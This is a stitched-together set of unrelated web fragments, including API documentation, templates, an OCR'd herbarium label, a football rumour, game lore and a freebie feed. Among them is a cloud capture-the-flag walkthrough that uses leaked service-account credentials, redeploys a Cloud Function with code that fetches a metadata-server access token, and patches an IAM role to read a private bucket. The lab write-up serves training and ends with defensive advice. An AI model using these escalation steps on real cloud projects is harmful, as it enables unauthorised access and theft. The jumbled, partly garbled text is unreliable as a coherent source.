Angular
User Settings
My Profile
Friend Requests
Account Settings
Angular - RTL
User Settings
RTL mode with icons
Friend Requests
Account Settings


??
?
mm
6
7
8
9
10
The
New
York
copyright
reserved
botanical
Garden
No.3te.fjr
Q
¥
j.
A.
Shafer,
Collector
^
March
4,
5,1911
New
York
Botanical
Garden
lbE4b5b
Lisianthius
glandulosus
A.
Rich.
THE
NEW
YORK
BOTANICAL
GARDEN
EXPLORATION
OF
CUBA
Gran
piedra,
Oriente
About
1,500
Meters
Altitude
Lisianthius
glandulosus
A.
Rich.
Det.-rev.
M.
Thiv
(B)
2001
r.
E.
weaver,
jr.
19
70
Duke
University
Herbarium
\Kx.v/,/Lon.
\^7o
1624656
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


Man Utd could rule out Sancho due to his impunctuality!
by BeSoccerIn recent days, Jadon Sancho has arrived late to various Borussis Dortmund training session. According to 'TMW', this has concerned Man Utd. So much so that they would be seriously thinking of not signing him because of it.
The Man Utd coach Ole Gunnar Solskjaer, does not want players to commit acts of indiscipline. He needs them all at 100%.
'TMW' says that the rumour of recent days has arrived and that Sancho has apparently committed the odd act of indiscipline. Basically, he has apparently arrived late to various training sessions.
Featured links
- Ballon d'Or winner already been decided
- The latest football transfers news and rumours
- Possible 'Clasico' in the Spanish Supercup final
- Who has the most free-kicks goals: Messi or Cristiano?
And that concerns Solskjaer... Man Utd are seriously thinking whether to sign him or not. And he was a priority for Man Utd.
Man Utd must decide what Sancho can contribute to the team and if the good outweighs the bad, His impuntuality, of course, could thwart his move for the Red Devils.


Scenario 4: Transition Events
Transitions can be triggered by listening to start and end events. 'Transition 1' and 'Transition 2' trigger individual transitions. Click 'Use Transition Events' button to see Transition 1 trigger Transition 2.
Transition 1
Transition 2
Use Transition Events


Snowdin is the town encountered by the protagonist in the Underground after they leave the Ruins and Snowdin Forest. The town has many guardsmen in it, including Sans and Papyrus, presumably because it is close to the entrance from Mt. Ebott, so it's most likely to have humans coming through. Departure from the town takes the protagonist to Waterfall by foot, or by riding with the River Person, to either Waterfall or Hotland.
Waterfall is the third area in Undertale that the protagonist journeys through, coming immediately after Snowdin and preceding Hotland. It is a dark, wet, and cavernous region, and houses residence for Undyne, Napstablook and their cousin, as well as Gerson's shop. Temmie Village and, subsequently, the Tem Shop is located in Waterfall. By reading the plaques aligned throughout Waterfall, the protagonist learns about the history of Humans and Monsters, as well as information about the nature of their respective SOULs.
Hotland is the fourth region encountered by the protagonist in Undertale, proceeding Waterfall and preceding the CORE. It is the home to Alphys's Lab, as well as many of the game shows of Mettaton. Between Hotland and the Core, the MTT Resort can also be found. The name of the Area is mentioned on the sign during Mettaton's show. It reads: "Mettaton: Live from Hotland."
The MTT Resort is a hotel and entertainment center run by Mettaton at the end of Hotland. It houses a dine-in restaurant and the MTT-Brand Burger Emporium, where Burgerpants works. It is directly connected to the Core of the Underground. Bratty and Catty can be found in the alley to the right of the Resort.
The Surface is the region of the Earth where humans live on. It has been separated from the Underground by the Barrier on Mount Ebott since The War of Humans and Monsters. The only seen portions of the Surface are a city, a beach, and Mount Ebott.


SweetFreeStuff.com
///////////////////////////////////////////
Free 24 oz. Jetty Punch Smoothie at Tropical Smoothie Cafe June 19th
Posted: 08 May 2015 10:36 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Come by one of our cafes wearing flip flops on June 19th between 2 pm to 7
pm for National Flip Flop Day and well recognize your support with a FREE
24 oz. Jetty Punch Smoothie!! Free 24 oz. Jetty Punch Smoothie at Tropical
Smoothie Cafe June 19th
The post Free 24 oz. Jetty Punch Smoothie at Tropical Smoothie Cafe June
19th appeared first on SweetFreeStuff.com.
///////////////////////////////////////////
Free Mller Yogurt at Kroger & Affiliate Stores
Posted: 08 May 2015 10:33 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Load the coupon to your shoppers card today only (5/8) and use by 5/23.
Free Müller Yogurt at Kroger Affiliate Stores
The post Free Müller Yogurt at Kroger Affiliate Stores appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Mothers Day Gift from Beech-Nut
Posted: 08 May 2015 10:28 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Free Mothers Day Gift from Beech-Nut
The post Free Mothers Day Gift from Beech-Nut appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
FREE Sample of Allegra Allergy
Posted: 08 May 2015 07:00 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
FREE Sample of Allerga Allergy
The post FREE Sample of Allegra Allergy appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Sample of Emergen-C
Posted: 08 May 2015 05:00 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Sign up to receive free samples of Emergen-C Vitamin Drink Mix. Another
Sample Link (FB)
The post Free Sample of Emergen-C appeared first on SweetFreeStuff.com.
///////////////////////////////////////////
FREE Subscription to Flying Magazine
Posted: 08 May 2015 04:29 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
FREE Subscription to Flying Magazine
The post FREE Subscription to Flying Magazine appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Miracle Band Bracelet from Childrens Miracle Network Hospitals
Posted: 08 May 2015 01:38 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Free Miracle Band Bracelet from Children’s Miracle Network Hospitals
The post Free Miracle Band Bracelet from Children’s Miracle Network
Hospitals appeared first on SweetFreeStuff.com.
///////////////////////////////////////////
Free Lucky Charms Sample (Expired)
Posted: 07 May 2015 10:33 PM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Follow the link and retweet the message, then click the link to get the
free sample. Free Lucky Charms Sample (Twitter)
The post Free Lucky Charms Sample (Expired) appeared first on
SweetFreeStuff.com.


Enum google.cloud.scheduler.v1.HttpMethod (2.1.1)
HttpMethod enum.
Fields
| Name | Description |
| DELETE | |
| GET | |
| HEAD | |
| HTTP_METHOD_UNSPECIFIED | |
| OPTIONS | |
| PATCH | |
| POST | |
| PUT |
HttpMethod enum.
| Name | Description |
| DELETE | |
| GET | |
| HEAD | |
| HTTP_METHOD_UNSPECIFIED | |
| OPTIONS | |
| PATCH | |
| POST | |
| PUT |


new Client()
Methods
-
<static> addConfigFile(path)
-
Adds a file to the top of the list of configuration setting files that are part of the hierarchical configuration. These files will override the default settings and be overriden by environment, command line arguments, and settings programmatically set into configuration settings.
hierarchy search order:
- memory - all settings added with sdkUtils.setConfigSetting(name,value)
- Command-line arguments
- Environment variables (names will be change from AAA-BBB to aaa-bbb)
- Custom Files - all files added with the addConfigFile(path) will be ordered by when added, were last one added will override previously added files
- The file located at 'config/default.json' with default settings
Parameters:
Name Type Description path
String The path to the file to be added to the top of list of configuration files
-
<static> getConfigSetting(name, default_value)
-
Retrieves a setting from the hierarchical configuration and if not found will return the provided default value.
hierarchy search order:
- memory - settings added with sdkUtils.setConfigSetting(name,value)
- Command-line arguments
- Environment variables (names will be change from AAA-BBB to aaa-bbb)
- Custom Files - all files added with the addConfigFile(path) will be ordered by when added, were last one added will override previously added files
- The file located at 'config/default.json' with default settings
Parameters:
Name Type Description name
String The name of a setting
default_value
Object The value of a setting if not found in the hierarchical configuration
-
<static> newDefaultKeyValueStore(options)
-
Obtains an instance of the KeyValueStore class. By default it returns the built-in implementation, which is based on files (FileKeyValueStore). This can be overriden with an environment variable KEY_VALUE_STORE, the value of which is the full path of a CommonJS module for the alternative implementation.
Parameters:
Name Type Description options
Object is whatever the implementation requires for initializing the instance. For the built-in file-based implementation, this requires a single property "path" to the top-level folder for the store
Returns:
KeyValueStore an instance of the KeyValueStore implementation
-
<static> setConfigSetting(name, value)
-
Adds a setting to override all settings that are part of the hierarchical configuration.
hierarchy search order:
- memory - settings added with this call
- Command-line arguments
- Environment variables (names will be change from AAA-BBB to aaa-bbb)
- Custom Files - all files added with the addConfigFile(path) will be ordered by when added, were last one added will override previously added files
- The file located at 'config/default.json' with default settings
Parameters:
Name Type Description name
String The name of a setting
value
Object The value of a setting
-
<static> setLogger(logger)
-
Configures a logger for the entire HFC SDK to use and override the default logger. Unless this method is called, HFC uses a default logger (based on winston). When using the built-in "winston" based logger, use the environment variable HFC_LOGGING to pass in configurations in the following format:
{ 'error': 'error.log', // 'error' logs are printed to file 'error.log' relative of the current working dir for node.js 'debug': '/tmp/myapp/debug.log', // 'debug' and anything more critical ('info', 'warn', 'error') can also be an absolute path 'info': 'console' // 'console' is a keyword for logging to console }
Parameters:
Name Type Description logger
Object a logger instance that defines the following methods: debug(), info(), warn(), error() with string interpolation methods like util.format.
-
getChain(name)
-
Get a Chain instance from the state storage. This allows existing chain instances to be saved for retrieval later and to be shared among instances of the application. Note that it’s the application/SDK’s responsibility to record the chain information. If an application is not able to look up the chain information from storage, it may call another API that queries one or more Peers for that information.
Parameters:
Name Type Description name
string The name of the chain.
Throws:
-
if the state store has not been set or a chain does not exist under that name.
- Type
- Error
Returns:
The chain instance
- Type
- Chain
-
-
getStateStore()
-
A convenience method for obtaining the state store object in use for this client.
Returns:
The KeyValueStore implementation object set within this Client, or null if it does not exist.
- Type
- KeyValueStore
-
getUserContext(name)
-
As explained above, the client instance can have an optional state store. The SDK saves enrolled users in the storage which can be accessed by authorized users of the application (authentication is done by the application outside of the SDK). This function attempts to load the user by name from the local storage (via the KeyValueStore interface). The loaded user object must represent an enrolled user with a valid enrollment certificate signed by a trusted CA (such as the CA server).
Parameters:
Name Type Description name
String Optional. If not specified, will only return the in-memory user context object, or null if not found in memory. If "name" is specified, will also attempt to load it from the state store if search in memory failed.
Returns:
The user object corresponding to the name, or null if the user does not exist or if the state store has not been set.
- Type
- Promise
-
loadUserFromStateStore()
-
Restore the state of this member from the key value store (if found). If not found, do nothing.
Returns:
A Promise for a {User} object upon successful restore, or if the user by the name does not exist in the state store, returns null without rejecting the promise
- Type
- Promise
-
newChain(name)
-
Returns a chain instance with the given name. This represents a channel and its associated ledger (as explained above), and this call returns an empty object. To initialize the chain in the blockchain network, a list of participating endorsers and orderer peers must be configured first on the returned object.
Parameters:
Name Type Description name
string The name of the chain. Recommend using namespaces to avoid collision.
Throws:
-
if the chain by that name already exists in the application's state store
- Type
- Error
Returns:
The uninitialized chain instance.
- Type
- Chain
-
-
queryChainInfo(name, peers)
-
This is a network call to the designated Peer(s) to discover the chain information. The target Peer(s) must be part of the chain to be able to return the requested information.
Parameters:
Name Type Description name
string The name of the chain.
peers
Array.<Peer> Array of target Peers to query.
Returns:
The chain instance for the name or error if the target Peer(s) does not know anything about the chain.
- Type
- Chain
-
saveUserToStateStore()
-
Save the state of this member to the key value store.
Returns:
A Promise for the user context object upon successful save
- Type
- Promise
-
setStateStore(keyValueStore)
-
The enrollment materials for Users that have appeared in the instances of the application.
The SDK should have a built-in key value store file-based implementation to allow easy setup during development. Production systems would use a store backed by database for more robust storage and clustering, so that multiple app instances can share app state via the database. This API makes this pluggable so that different store implementations can be selected by the application.
Parameters:
Name Type Description keyValueStore
KeyValueStore Instance of an alternative KeyValueStore implementation provided by the consuming app.
-
setUserContext(user, skipPersistence)
-
Sets an instance of the User class as the security context of self client instance. This user’s credentials (ECert), or special transaction certificates that are derived from the user's ECert, will be used to conduct transactions and queries with the blockchain network. Upon setting the user context, the SDK saves the object in a persistence cache if the “state store” has been set on the Client instance. If no state store has been set, this cache will not be established and the application is responsible for setting the user context again if the application crashes and is recovered.
Parameters:
Name Type Description user
User An instance of the User class encapsulating the authenticated user’s signing materials (private key and enrollment certificate)
skipPersistence
boolean Whether to skip saving the user object into persistence. Default is false and the method will attempt to save the user object to the state store.
Returns:
Promise of the 'user' object upon successful persistence of the user to the state store
- Type
- Promise


{% load humanize hc_extras %}
This is a notification sent by healthchecks.io. The check {{ check.name_then_code }} is being run too often..


Sarah Pratt
I am a PhD student working with Ali Farhadi. I am interested in Deep Learning and Computer Vision. My past work is in situation recognition and I am currently interested in embodied AI. Previously, I worked on the PRIOR team at The Allen Institute for AI under the mentorship of Ani Kembhavi, Luca Weihs, and Mark Yatskar. I completed my undergraduate degree in Applied Mathematics and Computer Science at Brown University in Providence, RI with academic advisor Caroline Klivans.


Sign-In Is Required To Access All The Companies
There is going to be a steep increase in my hosting cost from 1st May 2017. One way to limit cost is by conserving the bandwidth.
Hence from 1st May 2017 (Monday) users will have to sign in to access all companies tracked on InvestR. Users who have not signed-in will be able to access a sample of 25 companies.
NOTE: There is no separate "Registration" process. First time users also just need to use the "Sign-In" process.


A reader of multiple zip files¶
You’ll find the main zip file handling stuff in module: py2store.slib.s_zipfile
.
Let’s assume the most common case where your zips are in a folder (and possibly subfolders). The three following objects should cover most of your cases:
from py2store.slib.s_zipfile import ZipFilesReader, FlatZipFilesReader, mk_flatzips_store
That’s in order of dependency ( mk_flatzips_store
uses FlatZipFilesReader
uses ZipFilesReader
).
ZipFilesReader¶
Gives you a reader whose keys are full paths to zip files and values are ZipReader
objects (by default, but customizable).
z = ZipFilesReader(zipdir)
k, v = z.head() # get a key and a value to see what this store is about
print(f"{k=}")
print(f"{type(v)=} {len(v)=}")
k='/Users/data/zips/some_zip_file.zip'
type(v)=<class 'py2store.slib.s_zipfile.ZipReader'> len(v)=45
The length of v
is the number of files in the some_zip_file.zip
zip file.
FlatZipFilesReader¶
With ZipFilesReader
you get access to zips of a folder, and contents of the zips through the values it provides.
But sometimes you want to have direct access to the contents of multiple zips.
FlatZipFilesReader
will provide you with that.
It’s keys are (relative_zip_filepath, key_within_that_zip_file)
pairs and it’s values are bytes of the zip content the key is pointing to.
z = FlatZipFilesReader(zipdir)
k, v = z.head() # get a key and a value to see what this store is about
print(f"{k=}")
print(f"{type(v)=} {len(v)=}")
k=('some_zip_file.zip', 'some_folder_in_zip/a_subfolder/a_file.xlsx')
type(v)=<class 'bytes'> len(v)=19430710
The length here is the number of bytes that a_file.xlsx
has.
mk_flatzips_store¶
Sometimes using (relative_zip_filepath, key_within_that_zip_file)
as keys is not practical.
When you don’t like the key language, you can always change it.
You have trans.wrap_kvs
to help with that, as well as several specialized tools like key_mappers.naming
, etc.
In our current case, one practical key to use would be to just use the second element of the pair: The key of the particular zip file.
This isn’t a problem as long as they are all unique (amongst the multiple zip files).
The mk_flatzips_store
does that work for you – checking for unicity and giving you a reader that uses such simpler keys:
z = mk_flatzips_store(zipdir)
k, v = z.head() # get a key and a value to see what this store is about
print(f"{k=}")
print(f"{type(v)=} {len(v)=}")
k='some_folder_in_zip/a_subfolder/a_file.xlsx'
type(v)=<class 'bytes'> len(v)=1893


{% extends 'b.html' %} {% block body %} {{task_name}} Status: NOT STARTED Time Left: {{task_duration}} Total Duration Of Task: {{task_duration}} Task To Be Repeated On: {{task_repitition}} Start Task Pause Task Resume Task TASK COMPLETED! {% endblock %}


Power Plant
A game to power up your plants!
Daisy
Add soil
Add special soil
Add a little water
Add lots of water
Put in low-light
Put in sunlight
Current Stats
Daisy Values
0
0
0
Plant
Add soil
Add special soil
Add a little water
Add lots of water
Put in low-light
Put in sunlight
Current Stats
Your Plant's Values
0
0
0


ContentBox
ContentBox is a professional open source modular content management engine that allows you to easily build websites, blogs, wikis, complex web applications and even power mobile or cloud applications.
A Content Revolution!
What is ContentBox?
ContentBox is a professional open source modular content management engine that allows you to easily build websites, blogs, wikis, complex web applications and even power mobile or cloud applications. Built with a secure and flexible modular core, designed to scale, and combined with world-class support, ContentBox will get your projects out the door in no time.
ContentBox is built with a solid professional open source framework foundation; The ColdBox Platform, which has been powering web applications since 2005 and used by thousands of developers worldwide. Used by clients like NASA JPL, ESRI, Adobe TV, NASA Kennedy Space Center, Equator Financial, FAA, GE, and much more, The ColdBox Platform has become the Object Oriented application framework of choice for premier ColdFusion developers around the world. Combined with its full-stack of features, java and hibernate integration, professional support, architecture and design services, ColdBox is the framework of choice for ColdFusion web development.
Intro Video
For Geeks:
ContentBox is not a traditional and monolithic CMS, blog or wiki application, but a combination of software modules that will provide you with CMS, blog and wiki capabilities or enhance any ColdBox application with these capabilities. No longer be restricted by the application's extension points, but extend and scale modularly. Under the hood ContentBox is powered by Java, ColdFusion, event driven programming and Hibernate; the de-facto standard object relational mapper. Our entire infrastructure is built with scalability and cloud deployment in mind.
Community Connected:
ContentBox is connected out of the box to our open source software community; ForgeBox (www.coldbox.org/forgebox) from where it can auto-updated itself or install any community contribution. Any developer world-wide can contribute and register their plugins, themes, widgets, modules, interceptors, etc in ForgeBox and every ContentBox installation will have access to their contributions in real time. Collaborate and extend!
IDE Connected:
If you are using ColdFusion Builder as an IDE to develop your ColdFusion and ContentBox applications, you are way ahead of the game. Our ColdBox Platform Utilities extension (http://coldbox.org/forgebox/view/ColdBox-Platform-Utilities) will not only allow you to build ColdBox applications and extend ContentBox applications in not time, but they are also ForgeBox connected. You can easily install any ForgeBox contribution right from your IDE!
Professional Open Source
ContentBox is a professional open source project offering a full stack of services from support, training, to architecture and design. We are here when you need us the most!
ContentBox Resources
ContentBox Features
- Modular Architecture
- No longer restricted by a monolithic CMS/Blog application
- Build with Hibernate ORM + ColdBox Hibernate Extensions
- Extend via ColdBox and CFML
- Extend via event driven programming
- Over 80 different announced events
- Auto updater
- Enterprise security and security firewall
- Security interfaces for custom security services
- Search interfaces for custom search adapters
- Full skinning support
- Blog
- Extend via Widgets
- Extend via ContentBox modules
- Wiki (Coming soon!)
Support & Mentoring
We specialize in support & mentoring for all our products and more.
Get the support and mentoring you need for all your development concerns under our product and services stack. Read More...


Welcome to
Employee Wellness Journey
No one is immune from the multiple stressors being caused by
business turbulence. What can leaders do to improve wellbeing
stamina? Depending on their sector, turbulence hit organizations
very differently. But the single common factor for everyone is that
life is infinitely more stressful.


'use strict';
const GFAPI_KEY = process.env.GFAPI_KEY;
const GFAPI_SECRET = process.env.GFAPI_SECRET;
Sample code to creates listings for first 2 items in your Steam CS:GO inventory. Your Gameflip account needs to be verified and Steam connected.
Generate the API Key and OTP secret in Settings page
Type in bash shell:
export GFAPI_KEY=my_api_key
export GFAPI_SECRET=my_api_secret
node src/samples/bulk_listing.js
If you are using an IDE, set the GFAPI_KEY
and GFAPI_SECRET
in the Run Configuration Environment.
Be careful not to commit/push anything with the API key/secret to a public repository.
'use strict';
const GFAPI_KEY = process.env.GFAPI_KEY;
const GFAPI_SECRET = process.env.GFAPI_SECRET;
For your own code, use the ‘gfapi’ library (`npm install ‘iJJi/gfapi’).
const GfApi = require('../../index'); // require('gfapi')
Create listings for first 2 items in your Steam CS:GO inventory
async function main() {
Create GF API client. Options: logLevel
trace
(logs HTTP requests/responses)debug
(outputs HTTP requests) const gfapi = new GfApi(GFAPI_KEY, {
secret: GFAPI_SECRET,
algorithm: "SHA1",
digits: 6,
period: 30
}, {
logLevel: 'debug'
});
Checks if you are Steam connected and do not have a trade ban or hold. Can be commented out after first run.
await gfapi.check_trade_ban(); // throws UnprocessableEntityError if trade ban or hold
Get your Gameflip profile for your profile.steam_id
const profile = await gfapi.profile_get();
Get Steam inventory (must be public). Note: this is a helper function and is not really part of the API (ie, not supported).
let inventory = await gfapi.steam_inventory_get(profile.steam_id, GfApi.STEAM.APP_ID.CSGO, {
l: 'english', count: 2
});
Item’s market_hash_name
needed if you are specifying price
const marketHashName = inventory.descriptions.reduce((map, x) => {
map[x.classid] = x.market_hash_name;
return map;
}, {});
Create bulk object (bulk.status=’start’)
let bulk = await gfapi.bulk_post();
const bulk_id = bulk.id;
console.log("=== BULK_ID =", bulk_id);
Initiate trade offer (bulk.status=’receive_pending’)
bulk = await gfapi.bulk_put(bulk_id, {
items: inventory.assets.map(x => ({
id: x.assetid, // id of item
appid: x.appid, // Currently, all items must have same appid
price: 100, // Optional. price in cents
market_hash_name: marketHashName[x.classid] // Optional. Used to identify item for price
}))
});
console.log(`== Created trade offer ${bulk.offer_key}`);
You must now go into the Steam Mobile Client and accept and confirm trade offer. This will poll until you accept/confirm, reject, or the trade offer times out. When Gameflip detects that it has received the Steam items (and there are no trade holds), the Gameflip server will create a listing for each item.
let attempt = 1;
do {
console.log(`== ${attempt++} Waiting for you to ACCEPT and CONFIRM OFFER`);
await GfApi.sleep(10);
With no data parameter specified, the bulk_put
updates and returns latest bulk object
bulk = await gfapi.bulk_put(bulk_id);
} while (bulk.status == GfApi.ESCROW_STATUS.RECEIVE_PENDING);
See bulk.listings for the listing id and status.
console.log("=== BULK =", JSON.stringify(bulk, null, 2));
When bulk.status = 'listed'
, all listings will be created but may still be pending search indexing.
You can do a gfapi.listing_get(listing_id)
to verify their existance.
attempt = 1;
do {
console.log(`== ${attempt++} Pending listing creation`);
await GfApi.sleep(10);
With no data parameter specified, the bulk_put
updates and returns latest bulk object
bulk = await gfapi.bulk_put(bulk_id);
} while (bulk.status == GfApi.ESCROW_STATUS.RECEIVED);
If price
and market_hash_name
are specified and there is no ambiguity about the item, the listings
will have the status specified. Otherwise, the listing status will be ‘draft’.
Display first listing
let listing_id = bulk.listings[0].id;
let listing = await gfapi.listing_get(listing_id);
console.log("=== First listing =", JSON.stringify(listing, null, 2));
let escrow = await gfapi.escrow_get(listing_id);
console.log("=== First escrow =", JSON.stringify(escrow, null, 2));
}
Run main() and catch any unhandle Promise errors
main().catch(err => {
console.log('==== ERROR', err);
});


Add Edit Report
A supported file type must be selected to extract text.
{{ selectedBoard.name }}
Targets
Malware
Instrusion Sets


An Introduction to CSS/SASS
Welcome! This page is designed to introduce a few stylish organizational ideas to make working with CSS and SASS a little more awesome. It also is a living reference guide and exercise for proper CSS and SASS techniques. Currently, there are two versions of this page: one filled with numerous CSS anti-patterns, and one that is better organized and conforms to our architecture and style. As an exercise/tutorial, this page is meant to be cleaned-up and tweaked to be more semantic and badass. Careful inspectors of the markup and CSS will notice a few glaring patterns evident in this version. We've got a lack of classes, we're globally changing elements, and ultimately have set up a teetering tower ready to crumble into a million tear-soaked pieces.
The Role of CSS
Most everyone knows that CSS is used for styling content. Any given web page can be separated in to three (not exactly disctinct) categories: (1) Content, (2) Decoration, (3) Interactivity. As you've probably guessed, the content is usually just HTML, the decoration is CSS, and the interactivity is the page's JavaScript. Today we'll talk about a page's "decoration" layer.
Selection
The most fundamental concept in CSS is selection. We've all used CSS selectors before. We've seen that *
, the .something
or the #hashtag
. These commonly used selectors are usually called simple selectors. CSS gets fun (or ugly) when we chain these simple selectors together.
Definition
A CSS combinator combines or explains the relationship between two or more simple selectors.Pour-over ugh narwhal, Pinterest lo-fi small batch banh mi keffiyeh High Life Odd Future. Taxidermy drinking vinegar twee beard cray swag. Slow-carb selvage sustainable, umami PBR&B kogi four dollar toast cliche. Raw denim cornhole lumbersexual normcore cred. Normcore heirloom wayfarers shabby chic cronut stumptown, seitan Etsy next level listicle photo booth blog craft beer forage. XOXO Helvetica tilde health goth Bushwick 8-bit. Mixtape Bushwick forage Pitchfork, flexitarian vegan Echo Park lo-fi hashtag polaroid chia.
A Table
| Representation | Name | Description |
|---|---|---|
" " |
Descendant | Filters elements to have the given parent |


Your virtual environment must be active to use thunder.py:
source ../env-tctf/bin/activate
python3 thunder.py create thunder/a5power
Activate the service account given to you. You MUST do this, or the level will not work as intended.
gcloud auth activate-service-account --key-file=start/a5-access.json
Use the compromised service account credentials given to you to find the secret, which is located in a file called secret.txt in a private bucket on the project.
---Test the permissions of the given credentials using the test-permissions.py script.
---The credentials have the permission cloudfunctions.functions.list
---List the cloud functions in the project:
gcloud functions list
Then, get more information about the function that you find, including its httpsTrigger:
gcloud functions describe [function]---
Try calling the function using the service account's token:
curl [httpsTrigger] -H "Authorization: Bearer $(gcloud auth print-identity-token)"---
The function doesn't seem to do anything useful with its current code, but you have the permission cloudfunctions.functions.sourceCodeSet.
---Modify the function's code using:
gcloud functions deploy [function] --source=[path/to/code]
Information on how to write cloud functions can be found here, and information on how to use libraries can be found here.
---Cloud functions either have their own service accounts or use the default cloud function service account in order to access other resources, so a cloud function can have more permissions than its caller. Try to gain access to the cloud function's service account.
---Cloud functions get identity and access tokens from the Compute Metadata Server. Get an access token for the function from the metadata server. Information about how to do so can be found here.
---The URL to get an access token from the metadata server is http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
To have the function return the access token, create the following files:
import requests def main(request): metadata_url = 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' token = requests.get(metadata_url, headers={'Metadata-Flavor': 'Google'}).json()['access_token'] return token + '\n'
requests
Deploy the new code:
gcloud functions deploy [function] --source=./function --trigger-http --runtime=python38
Then, call the function to get its access token.
---Test the permissions of the token using the test-permissions.py script.
---The token gives access to editing the permissions of roles and viewing the IAM policy.
---Get the IAM policy to figure out what role your compromised credentials have.
---Use the Resource Manager API function projects.getIamPolicy.
--- ---Find the role name of a5-access in the iam policy, which is in the form "projects/[project-id]/roles/[role-id]"
You can use the "iam.roles.update" permission of the function's access token to expand the abilities of a5-access. Since we know the secret is in a bucket, you should give yourself permissions to view and list buckets and objects.
---Use the IAM API function projects.roles.patch.
---Query the API, making sure to put role-name in the same format as it was in the IAM policy: "projects/[project-id]/roles/[role-id]"
---Now that you have permission to view and list buckets and objects, find secret.txt. Note that you may need to re-activate the initial service account credential to refresh the access token with the new permissions you set.
---gsutil ls gsutil ls [bucket-name] gsutil cp [secret-object-name] . cat secret.txt---
In this level, a compromised service account for a developer is discovered that allows one to set the source code of a function. This allows one to deploy a function that can programmatically access and modify any resources that the privileges given to the function are allowed. These privileges could potentially be more expansive than the ones the initial service account provides. By setting the code of a function to query the Metadata service for credentials, we can then obtain an ephemeral access token that we can then use to navigate the cloud project's resources using the privileges given to the function. One of the privileges granted to this function is the ability to view and patch IAM policies. IAM access, let alone patching privileges, should never be given to such a function and it is a good idea to audit all IAM policies for correctness continuously to ensure such patches are detected. Patching privileges allows the adversary to grant him/herself the privileges required to access any project resource (such as objects in a restricted storage bucket).


${require('./templates/header.html')}
${require('./templates/nav-menu.html')}
404
houston we have a problem...
maybe, just maybe, though, you'll be able to find what you were looking for below:
${require('./templates/footer.html')}


CURLOPT_CONV_FROM_UTF8_FUNCTION explained
NAME
CURLOPT_CONV_FROM_UTF8_FUNCTION - convert data from UTF8 to host encoding
SYNOPSIS
#include <curl/curl.h> CURLcode conv_callback(char *ptr, size_t length); CURLcode curl_easy_setopt(CURL *handle, CURLOPT_CONV_FROM_UTF8_FUNCTION, conv_callback);
DESCRIPTION
Pass a pointer to your callback function, which should match the prototype shown above.
Applies to non-ASCII platforms. curl_version_info will return the CURL_VERSION_CONV feature bit set if this option is provided.
The data to be converted is in a buffer pointed to by the ptr parameter. The amount of data to convert is indicated by the length parameter. The converted data overlays the input data in the buffer pointed to by the ptr parameter. CURLE_OK must be returned upon successful conversion. A CURLcode return value defined by curl.h, such as CURLE_CONV_FAILED, should be returned if an error was encountered.
CURLOPT_CONV_FROM_UTF8_FUNCTION converts to host encoding from UTF8 encoding. It is required only for SSL processing.
If you set a callback pointer to NULL, or don't set it at all, the built-in libcurl iconv functions will be used. If HAVE_ICONV was not defined when libcurl was built, and no callback has been established, conversion will return the CURLE_CONV_REQD error code.
If HAVE_ICONV is defined, CURL_ICONV_CODESET_OF_HOST must also be defined. For example:
#define CURL_ICONV_CODESET_OF_HOST "IBM-1047"
The iconv code in libcurl will default the network and UTF8 codeset names as follows:
#define CURL_ICONV_CODESET_OF_NETWORK "ISO8859-1"
#define CURL_ICONV_CODESET_FOR_UTF8 "UTF-8"
You will need to override these definitions if they are different on your system.
DEFAULT
PROTOCOLS
EXAMPLE
static CURLcode my_conv_from_utf8_to_ebcdic(char *buffer, size_t length) { char *tempptrin, *tempptrout; size_t bytes = length; int rc; tempptrin = tempptrout = buffer; rc = platform_u2e(&tempptrin, &bytes, &tempptrout, &bytes); if(rc == PLATFORM_CONV_OK) { return CURLE_OK; } else { return CURLE_CONV_FAILED; } } curl_easy_setopt(curl, CURLOPT_CONV_FROM_UTF8_FUNCTION, my_conv_from_utf8_to_ebcdic);
AVAILABILITY
Available only if CURL_DOES_CONVERSIONS was defined when libcurl was built.
RETURN VALUE
Returns CURLE_OK if the option is supported, and CURLE_UNKNOWN_OPTION if not.
SEE ALSO
CURLOPT_CONV_TO_NETWORK_FUNCTION, CURLOPT_CONV_FROM_NETWORK_FUNCTION
This HTML page was made with roffit.


| GEOS SDK TechDocs
|
| delassoc ...
| elist ...
drivewalk
drivewalk
Examples:
-
"drivewalk"
-
Prints the table of drives known to the system.
Prints out all disk drives known to the system, along with their current status.
-
The Flags column is a string of single character flags with the following meanings:
-
L
- The drive is accessible to the local machine only, i.e. it's not visible over a network.
-
R
- The drive is read-only.
-
F
- Disks may be formatted in the drive.
-
A
- The drive is actually an alias for a path on another drive.
-
B
- The drive is busy, performing some extended operation, such as formatting or copying a disk.
-
r
- The drive uses disks that may be removed by the user.
-
n
- The drive is accessed over the network.
-
The Locks column can reflect one of three states:
-
none
- The drive isn't being accessed by any thread.
-
Excl
- The drive is locked for exclusive access by a single thread.
-
<num>
- The drive is locked for shared access for a particular disk, whose handle is the number. This is followed by the volume name of the disk, in square brackets.
See Also: diskwalk.
dumpstack
dumpstack [<address>] [<length>]
Examples:
-
"dumpstack"
-
dump the stack at SS:SP
-
"ds ds:si 10"
-
dump ten words starting at DS:SI
Dump the stack and perform some simple interpretation upon it.
-
The <address> argument is the address of the list of words to dump. This defaults to SS:SP.
-
The <length> argument is the number of words to dump. This defaults to 50.
-
This dumps the stack and tries to make symbolic sense of the values, in terms of handles, segments, and routines.
-
After doing a dumpstack, if you just hit return without entering a new command, by default you will see a continuation of the dumpstack.
See Also: backtrace.
dwordIsPtr
var dwordIsPtr [(0|1)]
Examples:
-
"var dwordIsPtr 1"
-
Tells "print" to print all double-word variables as if they were far pointers (segment:offset).
Controls whether dword (a.k.a. long) variables are printed as 32-bit unsigned integers or untyped far pointers.
-
